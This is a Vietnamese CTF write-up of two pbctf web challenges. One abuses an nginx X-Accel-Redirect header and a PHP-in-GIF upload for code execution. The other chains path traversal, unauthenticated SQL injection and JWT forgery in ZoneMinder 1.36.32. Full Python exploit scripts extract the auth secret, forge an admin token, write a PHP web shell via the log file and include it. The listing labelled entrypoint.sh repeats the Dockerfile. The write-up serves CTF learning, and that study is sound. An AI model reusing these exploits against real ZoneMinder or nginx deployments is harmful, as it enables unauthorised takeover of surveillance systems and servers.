Cũng lâu rồi mình mới update blog, một phần vì lười 😁 và cũng bận bịu nhiều chuyện cá nhân quá. Sẵn dịp giải pbctf vừa rồi có hai challenge web mình thấy khá hay nên viết để chia sẻ.
Giải lần này team mình được hạng 17, mình thì có chơi nhưng vì lâu rồi không đụng ctf nên hơi phế, ~~ sr my team 😗.
Makima
Truy cập vào link challenge, ta được dẫn đến một page cho upload ảnh từ URL
Tiếp theo hãy cùng nhìn qua source code của chall, từ project structure và docker-compose.yml
, ta thấy có hai service chính là cdn
và web
Sơ qua về chức năng chính của hai service này:
web
service
Sử dụng nginx kết hợp với php-fpm, file default.conf
như sau:
server {
listen 8080 default_server;
listen [::]:8080 default_server;
root /var/www/html;
server_name _;
location / {
index index.php;
}
location ~ \.php$ {
internal;
include fastcgi_params;
fastcgi_intercept_errors on;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location /cdn/ {
allow 127.0.0.1/32;
deny all;
proxy_pass http://cdn;
}
}
-> Các request đến /cdn/
đều chỉ được xuất phát từ localhost và đồng thời ở block location phía trên có chỉ định internal directive.
www.config
dùng để cấu hình cho php-fpm, nội dung file này khá dài nhưng có một chỗ cần để ý đó là dòng 401
security.limit_extensions
không được set, nếu những ai tham gia giải ctf của trường mình thì sẽ thấy nó khá quen thuộc (service 3 trong bài 3Services), 1 lỗi điển hình khi kết hợp nginx với php-fpm để handle php file (cụ thể tại đây).
Nhìn qua source của trang upload:
<?php
function makeimg($data, $imgPath, $mime) {
$img = imagecreatefromstring($data);
switch($mime){
case 'image/png':
$with_ext = $imgPath . '.png';
imagepng($img, $with_ext);
break;
case 'image/jpeg':
$with_ext = $imgPath . '.jpg';
imagejpeg($img, $with_ext);
break;
case 'image/webp':
$with_ext = $imgPath . '.webp';
imagewebp($img, $with_ext);
break;
case 'image/gif':
$with_ext = $imgPath . '.gif';
imagegif($img, $with_ext);
break;
default:
$with_ext = 0;
break;
}
return $with_ext;
}
if(isset($_POST["url"])){
$cdn_url = 'http://localhost:8080/cdn/' . $_POST["url"];
$img = @file_get_contents($cdn_url);
$f = finfo_open();
$mime_type = finfo_buffer($f, $img, FILEINFO_MIME_TYPE);
$fileName = 'uploads/' . substr(md5(rand()), 0, 13);
$success = makeimg($img, $fileName, $mime_type);
if ($success !== 0) {
$msg = $success;
}
}
?>
-> Lấy url từ POST request sau đó gọi hàm file_get_contents
với tham số là 'http://localhost:8080/cdn/' . $_POST["url"]
, kết quả trả về được đưa vào hàm makeimg
để lưu vào file system trên server. Và ta có thể access trực tiếp vào file vừa được upload:
cdn
service
Được build bằng flask, source như sau:
@app.route("/cdn/<path:url>")
def cdn(url):
mimes = ["image/png", "image/jpeg", "image/gif", "image/webp"]
r = requests.get(url, stream=True)
if r.headers["Content-Type"] not in mimes:
print("BAD MIME")
return "????", 400
img_resp = make_response(r.raw.read(), 200)
for header in r.headers:
if header == "Date" or header == "Server":
continue
img_resp.headers[header] = r.headers[header]
return img_resp
if __name__ == "__main__":
app.run(debug=False, port=8081)
Lấy url từ route variable, sau đó gửi get request đến và check response header Content-Type
phải nằm trong "image/png", "image/jpeg", "image/gif", "image/webp"
. Response cuối cùng sẽ bao gồm image lấy được từ server (được chỉ định thông qua url) và các response header từ server đó (ngoại trừ Date
và Server
).
Vậy tóm lại ta đang có những gì? thứ nhất là lỗi file parsing có thể dẫn đến rce, thứ hai là control được image cũng như response header từ server của ta.
Ban đầu mình áp dụng POC để khai thác file parsing nhưng lúc sau mới nhận ra rằng bởi vì internal
directive của nginx nên không thể access đến các file .php
từ bên ngoài được.
Specifies that a given location can only be used for internal requests. For external requests, the client error 404 (Not Found) is returned.
Trong docs cũng có nói đến những trường hợp có thể truy cập được vào location này
-> Mấu chốt chính là response header X-Accel-Redirect
. Sau một hồi tra gg, từ đây và đây có thể rút ra kết luận rằng: có thể điều khiển được đích mà nginx sẽ redirect đến, vì vậy ta có thể setup server để trả về response header X-Accel-Redirect: /uploads/<image_name>/bla.php
Các bước khai thác sẽ như sau:
Bước 1: Tạo image php shell và upload lên server
Ở bước này mình sử dụng POC tại đây để tạo một file .gif chứa php code.
Upload:
Bước 2: Setup server trả về response header X-Accel-Redirect
đến file này
from http.server import BaseHTTPRequestHandler, HTTPServer
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'image/gif')
self.send_header('Content-Disposition', 'attachment; filename="exp.gif"')
self.send_header('X-Accel-Redirect', '/uploads/c2904e1b93c85.gif/bla.php')
self.end_headers()
# not sure about this part below
self.wfile.write(open('./exp.gif', 'rb'))
myServer = HTTPServer(('localhost', 8000), MyServer)
myServer.serve_forever()
myServer.server_close()
POST url trỏ đến server vừa setup
Lúc này check terminal của docker sẽ thấy báo lỗi như sau
Như thế này nghĩa là đã rce thành công bởi vì đoạn code trong file .gif của mình có chứa:
Set lại giá trị cho X-Accel-Redirect
thành /uploads/c2904e1b93c85.gif/bla.php?0=system&1=cat /flag > /var/www/html/uploads/to016.txt
Và ... flag
The Mindful Zone
Bài này là kiểu tìm 0day từ open source, mình thức cả đêm tới sáng để đọc source của nó nhưng cuối cùng vẫn cần đến người anh taidh để solve chall 🥺.
Các file đề cung cấp cho thì khá ít, nên mình để ở đây luôn
Dokerfile
:
FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get -y --no-install-recommends install software-properties-common mysql-server apache2 php libapache2-mod-php php-mysql && \
add-apt-repository ppa:iconnor/zoneminder-1.36 && \
service mysql start && \
apt-get install -y --no-install-recommends zoneminder=1.36.32-bionic1 && \
apt-get clean
RUN sed -i 's/\[mysqld\]/[mysqld\]\nsql_mode = NO_ENGINE_SUBSTITUTION\n/' /etc/mysql/mysql.conf.d/mysqld.cnf
COPY flag.txt /flag.txt
COPY entrypoint.sh /entrypoint.sh
COPY readflag /readflag
RUN chmod 700 /flag.txt && chmod +sx /readflag
CMD bash -C '/entrypoint.sh';'bash'
# docker build -t mind .
# docker run --rm -it -p 8080:80 mind
# visit 127.0.0.1:8080/zm/
entrypoint.sh
FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get -y --no-install-recommends install software-properties-common mysql-server apache2 php libapache2-mod-php php-mysql && \
add-apt-repository ppa:iconnor/zoneminder-1.36 && \
service mysql start && \
apt-get install -y --no-install-recommends zoneminder=1.36.32-bionic1 && \
apt-get clean
RUN sed -i 's/\[mysqld\]/[mysqld\]\nsql_mode = NO_ENGINE_SUBSTITUTION\n/' /etc/mysql/mysql.conf.d/mysqld.cnf
COPY flag.txt /flag.txt
COPY entrypoint.sh /entrypoint.sh
COPY readflag /readflag
RUN chmod 700 /flag.txt && chmod +sx /readflag
CMD bash -C '/entrypoint.sh';'bash'
# docker build -t mind .
# docker run --rm -it -p 8080:80 mind
# visit 127.0.0.1:8080/zm/
readflag.c
#include<unistd.h>
#include<stdlib.h>
int main()
{
setuid(0);
system("cat /flag.txt");
}
Nhìn chung thì server sử dụng apache để deploy ZoneMinder
ZoneMinder là một bộ ứng dụng, công cụ cho phép chúng ta điều khiển, giám sát camera an ninh của mình.
Từ Dockerfile
, ta thấy phiên bản zoneminder là 1.36.32, sau một hồi search gg mình không thấy bất kì lỗi gì được public ở version này, chỉ tìm được một cve cũ của nó nhưng thật ra là sẽ cần dựa trên cve này để exploit 0day 🤣.
CVE-2022-29806
Tổng quan: RCE bằng việc ghi file và include trên server
Bước 1: Ghi file
Luồng sẽ như sau:
web/ajax/log.php->createRequest()
ZM\logInit
ZM\Logger::fetch()->logPrint()
(Trong đó ZM
là namespace của web/includes/logger.php
)
Tại web/ajax/log.php->createRequest()
các giá trị quan trọng ta có thể control được là $_POST['message']
, $_POST['level']
, $_POST['file']
Và sau đó gọi tới ZM\logInit
và ZM\Logger::fetch()->logPrint
ZM\logInit
gọi đến Logger::fetch()->initialise()
ở initialise()
ta focus vào đoạn code sau
Nếu ZM_LOG_DEBUG
được set và ZM_LOG_DEBUG_FILE!=''
sẽ gán $tempLogFile=ZM_LOG_DEBUG_FILE
và gọi hàm $this->logFile( $tempLogFile );
Hàm này thì chỉ cần focus vào dòng 335, gán $this->logFile
bằng với tham số truyền vào.
Về phần ZM\Logger::fetch()->logPrint()
Nếu $level <= $this->fileLevel
và $this->useErrorLog
là true
thì gọi hàm error_log để ghi $message
vào $this->LogFile
-> có thể ghi được file bất kì trên server.
Bước 2: Include file vừa tạo để RCE
Ở main file có gọi đến require_once('lang.php')
Trong lang.php
có một đoạn code gọi đến loadLanguage()
Và tại version bị lỗi, ta có thể khai thác path traversal ở biến ZM_LANG_DEFAULT
để trỏ đến file vừa được ghi ở step trước.
Mình vừa đi sơ lược về CVE cũ để vận dụng và khai thác đối với chall này, cụ thể về nó các bạn có thể thamm khảo thêm tại đây.
Vậy ở challenge này có gì khác biệt với environment của cve vừa rồi?
Version sử dụng là 1.36.32 đã được fix lỗi ở
web/includes/lang.php
(1)Từ file
entrypoint.sh
, giá trịZM_OPT_USE_AUTH
được set thành 1, có nghĩa là ta phải login (2)
Vì thế không thể follow được step 2 và 3 trong cve cũ
Tìm 0day
Khi đã coi sơ qua cve 2020 của zoneminder, mình nhảy vào version 1.36.32 của nó và căng mắt ra để đọc source, lúc sau mình nhận ra rằng không nhất thiết phải thông qua lang.php
, ban đầu ta đã có thể require bất kì file .php
trên server rồi 😅.
Dòng 174 của index.php
lấy biến view từ request và thực hiện chặn path traversal bằng cách gọi đến web/includes/functions.php->detaintPath()
Nội dung hàm này như sau
-> Có thể bypass bằng ....//
Và cũng tại index.php
dòng 231, gọi hàm require_once
-> có thể lợi dụng path traversal để include tất cả file .php
trên server
\=> Vậy là đã giải quyết xong vấn đề thứ (1).
Ngay sau khi biết được có thể include all file .php trên server mình đã đi check từng file trong source code để tìm các file có thể dùng được mà không cần phải login, nhưng phần lớn đều bị check quyền - gọi đến các hàm canView()
, canEdit()
từ file web/includes/auth.php
để kiểm tra.
Qua ngày hôm sau, anh taidh có nói thì mình nhận ra đã xem miss file web/skins/classic/views/report_event_audit.php
. Ở file này không bị check quyền, bởi vì tác giả chỉ check tại web/skins/classic/views/functions.php
nhưng vì ta có thể include thẳng file .php nên có thể pass được đoạn check.
Điều đặc biệt trong file report_event_audit.php
đó là ta có thể khai thác sqli tại dòng 78
với các biến $minTime
và $maxTime
control được
Hàm validHtmlStr()
được dùng để encode các kí tự
-> Quay về bài toán sqli chặn '
và "
Để bypass thì khá dễ, có thể set cho
minTime=\
maxTime= <sqli_payload>-- -
Vậy có thể sqli đọc dữ liệu từ database, nhưng câu hỏi tiếp theo đó là cần đọc gì ?
Lúc sau anh taidh có nói với mình rằng thay vì authen với password, ta còn có thể authen bằng token (line 308 -> 313) (tới đây giải quyết được vấn đề (2) )
Hàm validateToken
này thực hiện decode jwt nhận được với secret key ZM_AUTH_HASH_SECRET
:
Và cũng từ entrypoint.sh
tại dòng 7 ta thấy giá trị này được set trong table zm.Config
\=> Sqli để đọc giá trị này sau đó dùng nó để sign token mới.
Script :
import requests
import re
login_url = "http://the-mindful-zone.chal.perfect.blue/zm/index.php?view=login"
s = requests.Session()
r1 = s.get(login_url)
csrfmagic = re.search(r"""name='__csrf_magic' value="(.*)\"""", r1.text)[1]
# print(csrfmagic)
ZM_AUTH_HASH_SECRET = ""
i=1
while True:
for c in range(32, 128):
data = {"__csrf_magic": csrfmagic, "action": "login", "postLoginQuery": "", "username": "admin", "password": "admin", "view": "....//....//skins/classic/views/report_event_audit", "minTime": '\\', "maxTime": f" OR (select case when (select ord(substring(Value,{i},1)) from zm.Config where Config.Name=0x5A4D5F415554485F484153485F534543524554)={c} then 1 else (select 1 union select 2) end) -- -"}
r2 = s.post("http://the-mindful-zone.chal.perfect.blue/zm/index.php", data=data)
# print(len(r2.text))
if "Function" in r2.text:
ZM_AUTH_HASH_SECRET += chr(c)
i+=1
print(ZM_AUTH_HASH_SECRET)
break
# iQOTg1q7fzwLXbRBLmh2rECtSGccC3jz
Final script (chôm của anh taidh 🤣):
import requests
import jwt
import re
sess=requests.Session()
URL = 'http://the-mindful-zone.chal.perfect.blue/zm/index.php'
RE_CSRF = r"""<input type='hidden' name='__csrf_magic' value=\"(.*?)\" />"""
FILE_SHELL = '/tmp/aaaaaaaa.php'
def craftToken():
key = "iQOTg1q7fzwLXbRBLmh2rECtSGccC3jz" #iQOTg1q7fzwLXbRBLmh2rECtSGccC3jz
token = jwt.encode({"user": "admin", "iat":"99999999", "type": "access"}, key, algorithm="HS256")
return token
TOKEN = craftToken()
print(TOKEN)
def getCsrf():
r = sess.get(URL+f"?token={TOKEN}")
# print(r.text)
csrf = re.findall(RE_CSRF,r.text)
return csrf
def enableLog():
csrf = getCsrf()
burp0_data = {"__csrf_magic": csrf, "view": "options", "tab": "logging", "action": "options", "newConfig[ZM_LOG_LEVEL_SYSLOG]": "-1", "newConfig[ZM_LOG_LEVEL_FILE]": "1", "newConfig[ZM_LOG_LEVEL_WEBLOG]": "-5", "newConfig[ZM_LOG_LEVEL_DATABASE]": "0", "newConfig[ZM_LOG_DATABASE_LIMIT]": "7 day", "newConfig[ZM_LOG_FFMPEG]": "1", "newConfig[ZM_LOG_DEBUG]": "1", "newConfig[ZM_LOG_DEBUG_TARGET]": '', "newConfig[ZM_LOG_DEBUG_LEVEL]": "1", "newConfig[ZM_LOG_DEBUG_FILE]": f"{FILE_SHELL}", "newConfig[ZM_LOG_CHECK_PERIOD]": "900", "newConfig[ZM_LOG_ALERT_WAR_COUNT]": "1", "newConfig[ZM_LOG_ALERT_ERR_COUNT]": "1", "newConfig[ZM_LOG_ALERT_FAT_COUNT]": "0", "newConfig[ZM_LOG_ALARM_WAR_COUNT]": "100", "newConfig[ZM_LOG_ALARM_ERR_COUNT]": "10", "newConfig[ZM_LOG_ALARM_FAT_COUNT]": "1", "newConfig[ZM_RECORD_EVENT_STATS]": "1"}
r = sess.post(URL+f"?token={TOKEN}",data=burp0_data)
def writeShell():
csrf = getCsrf()
data = {"__csrf_magic":csrf,"view":"request","request":"log","task":"create","level":"ERR","message":"<?php system('/readflag'); ?>","file":FILE_SHELL}
r = sess.post(URL+f"?token={TOKEN}",data=data)
print(r.text)
def readFlag():
r = sess.get(URL+f"?token={TOKEN}&view=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//tmp/aaaaaaaa",allow_redirects=False, proxies={'http': 'http://127.0.0.1:8080'})
print(r.text)
enableLog()
writeShell()
readFlag()
Và flag
Intended solution trên discord server:
Lời kết
Mình bỏ ctf khá lâu vì dạo này bị bận rộn với mấy task chỗ thực tập và với cả đang trong giai đoạn thi cuối kì nữa :<, giải lần này dù chỉ làm được 2 bài nhưng cá nhân mình cảm thấy khá hay, ctf vẫn còn nhiều cái mới nhiều cái đáng để học. Hmmm ... vậy thôi hết rồi đó :v chào mn nhe.